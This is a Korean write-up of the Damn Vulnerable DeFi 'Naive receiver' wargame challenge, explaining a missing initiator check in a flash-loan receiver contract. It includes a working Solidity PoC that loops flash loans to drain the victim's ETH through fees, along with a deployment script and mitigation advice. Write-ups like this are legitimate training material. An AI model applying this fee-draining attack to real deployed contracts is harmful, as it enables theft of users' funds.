Damn Vulnerable DeFi-Naive receiver
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
누구나 FlashLoanReceiver 에게 Flash loan을 할 수 있어 FlashLoanReceiver에 예치되어 있는 수수료 지불용 ETH를 소비시킬 수 있다.
Keyword
access control
Vulnerability
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.
Flash loan 기능을 제공하는 컨트랙트가 있다. 그리고 Flash loan 서비스를 이용하는 유저의 컨트랙트가 있다. 유저의 컨트랙트의 ETH를 전부 꺼내는 것이 목표다. 두 컨트랙트 NaiveReceiverLenderPool 와 FlashLoanReceiver 코드를 보고 취약점을 찾아야한다.
NaiveReceiverLenderPool 의 경우 평범한 ERC-3156 Lender 컨트랙트이다. 네이티브 토큰인 ETH를 빌려주기 때문에 approve가 불가하다. 따라서 onFlashLoan 를 호출한 뒤에 onFlashLoan 함수에서 ETH를 보냈는지까지 확인한다.
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// @note LGTM
if (token != ETH)
revert UnsupportedCurrency();
// @note LGTM
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
// @note LGTM
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
// @note 이더리움이기 때문에 approve 불가. onFlashLoan 측에서 보내준걸 확인해야 함.
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}다음은 FlashLoanReceiver 컨트랙트이다. onFlashLoan 함수에서는 msg.sender가 LenderPool인지를 확인한다. 작업이 완료되면 고정 Fee인 1 ETH와 함께 대금을 갚는다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
error UnsupportedCurrency();
// @note LGTM
constructor(address _pool) {
pool = _pool;
}
function onFlashLoan(
address, // @audit flash loan을 요청한 유저가 자신인지 확인하지 않음 => fee를 소비시킬 수 있음.
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
// @note 0번 슬롯(=pool 주소)와 caller를 비교한다.
// @audit-info msg.sender가 pool이 아니면 취소시킨다.
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
// @note LGTM
if (token != ETH)
revert UnsupportedCurrency();
uint256 amountToBeRepaid;
// @audit overflow 가능성?
unchecked {
amountToBeRepaid = amount + fee;
}
// @note LGTM
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// Internal function where the funds received would be used
// @note LGTM
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive() external payable {}
}이때, 주목할 부분이 있다. onFlashLoan 함수에서 파라미터로 받는 initiator 파라미터를 전혀 사용하지 않는다. 이는 flashLoan함수를 호출한 msg.sender 가 전달되는 파라미터이다.
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);따라서 누구나 FlashLoanReceiver 컨트랙트를 receiver로 설정하여 flashLoan 함수를 실행할 수 있다. 빌리고 바로 갚는데 무엇이 문제인가? 바로 Fee 가 소비된다는 점이 문제이다. Falsh loan으로 빌릴 때마다 1 ETH의 고정 수수료를 추가로내야 한다. 이는 FlashLoanReceiver 컨트랙트에 예치되어있는 ETH로 소비된다.
다음은 PoC 이다. 공격 컨트랙트를 작성한다. flash loan을 10번 반복하여 유저 컨트랙트에 예치된 10ETH를 소비시켰다.
import "./NaiveReceiverLenderPool.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
contract NaiveReceiverPoC {
constructor(NaiveReceiverLenderPool _pool, IERC3156FlashBorrower _receiver){
// 수수료로 10 ETH 소비시킴
for(uint256 i = 0; i < 10; i++){
_pool.flashLoan(_receiver, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 1, "");
}
require(address(_receiver).balance == 0, "fail");
}
}다음은 PoC 배포 스크립트이다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const NaiveReceiverPoCFactory = await ethers.getContractFactory('NaiveReceiverPoC', player);
await NaiveReceiverPoCFactory.deploy(pool.address, receiver.address);
});Impact
FlashLoanReceiver 컨트랙트에 예치되어 있는 ETH를 수수료로 소비시킨다.
Mitigation
onFlashLoan 함수에서 initiator 를 확인하여 특정 주소만 FlashLoanReceiver 에게 flash loan 시킬 수 있도록 제한한다.
tags: writeup, blockchain, solidity, smart contract, erc20, erc3156, access control vulnerability, flashloan, dos, defi